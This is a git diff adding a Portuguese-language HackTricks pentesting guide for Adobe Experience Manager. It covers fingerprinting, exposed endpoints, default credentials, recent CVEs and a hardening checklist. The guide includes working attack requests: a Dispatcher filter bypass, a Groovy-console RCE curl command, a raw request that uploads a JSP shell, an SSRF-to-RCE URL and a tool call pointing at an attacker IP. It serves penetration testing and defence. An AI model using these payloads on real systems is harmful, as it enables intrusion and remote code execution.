diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 01e41a122..39b1eb669 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -Encontre vulnerabilidades e configurações incorretas com [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR). +> Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre. + +A lista de verificação abaixo foca na **superfície de ataque (unauth) acessível externamente** que continua aparecendo em engajamentos reais (2022-2025). + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +Outros indicadores rápidos: +* `/etc.clientlibs/` caminho estático presente (retorna JS/CSS). +* `/libs/granite/core/content/login.html` página de login com o banner “Adobe Experience Manager”. +* `` comentário na parte inferior do HTML. + +--- + +## 2. Endpoints não autenticados de alto valor + +Caminho | O que você obtém | Notas +---- | ------------- | ----- +`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas *Dispatcher bypass* (veja abaixo) funciona. +`/bin/querybuilder.json?path=/` | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários. +`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote. +`/crx/packmgr/index.jsp` | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP. +`/etc/groovyconsole/**` | Console Groovy AEM | Se exposto → execução arbitrária de Groovy / Java. +`/libs/cq/AuditlogSearchServlet.json` | Logs de auditoria | Divulgação de informações. +`/libs/cq/ui/content/dumplibs.html` | Dump de ClientLibs | Vetor XSS. + +### Truque de bypass do Dispatcher +A maioria dos sites de produção está atrás do *Dispatcher* (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida **após um ponto e vírgula ou nova linha codificada**: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】 + +--- + +## 3. Configurações incorretas comuns (ainda vivas em 2025) + +1. **Servlet POST anônimo** – `POST /.json` com `:operation=import` permite que você crie novos nós JCR. Bloquear `*.json` POST no Dispatcher resolve isso. 【】 +2. **Perfis de usuário legíveis por todos** – ACL padrão concede `jcr:read` em `/home/users/**/profile/*` para todos. +3. **Credenciais padrão** – `admin:admin`, `author:author`, `replication:replication`. +4. **WCMDebugFilter** habilitado ⇒ XSS refletido via `?debug=layout` (CVE-2016-7882, ainda encontrado em instalações legadas 6.4). +5. **Console Groovy exposto** – execução remota de código ao enviar um script Groovy: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. Vulnerabilidades recentes (cadência de pacotes de serviço) + +Trimestre | CVE | Afetado | Impacto +------- | --- | -------- | ------ +Dez 2024 | **CVE-2024-43711** | 6.5.21 e anteriores | Validação de entrada inadequada → **Execução de código arbitrário** (requer autenticação de baixo privilégio). 【】 +Dez 2024 | CVE-2024-43724/26 | 6.5.21 e anteriores | XSS DOM / Armazenado no Assistente de Mover Página. 【】 +Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS baseado em DOM via URL manipulada. 【】 +Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】 + +Sempre verifique o boletim *APSB* correspondente ao pacote de serviço do cliente e solicite o mais recente **6.5.22** ou *Cloud Service 2024.11*. + +--- + +## 5. Trechos de exploração + +### 5.1 RCE via bypass do dispatcher + upload de JSP +Se a gravação anônima for possível: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +Agora solicite `/content/evil.jsp` – o JSP é executado com o usuário do processo AEM. + +### 5.2 SSRF para RCE (histórico < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +`aem_ssrf2rce.py` do **aem-hacker** automatiza toda a cadeia. 【】 + +--- + +## 6. Ferramentas + +* **aem-hacker** – script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais. +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **Força bruta de conteúdo** – solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos. +* **osgi-infect** – faça upload de um pacote OSGi malicioso via `/system/console/bundles` se as credenciais estiverem disponíveis. + +--- + +## 7. Lista de verificação de endurecimento (para as recomendações do seu relatório) + +1. Mantenha a instância na **última atualização cumulativa** (a partir de jul 2025: 6.5.22). +2. Remova/rotacione contas padrão; imponha SSO/SAML. +3. Reforce os **filtros do Dispatcher** – negue `;`, quebras de linha codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos. +4. Desative ou proteja consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) com listas de permissão de IP. +5. Aplique o pacote *Endurecimento de Permissão Anônima* enviado pela Adobe. + +## Referências + +* Adobe Security Bulletin APSB24-69 – “Atualizações de segurança para Adobe Experience Manager (dez 2024)”. +* 0ang3el – ferramenta aem-hacker (GitHub). +{{#include ../../banners/hacktricks-training.md}}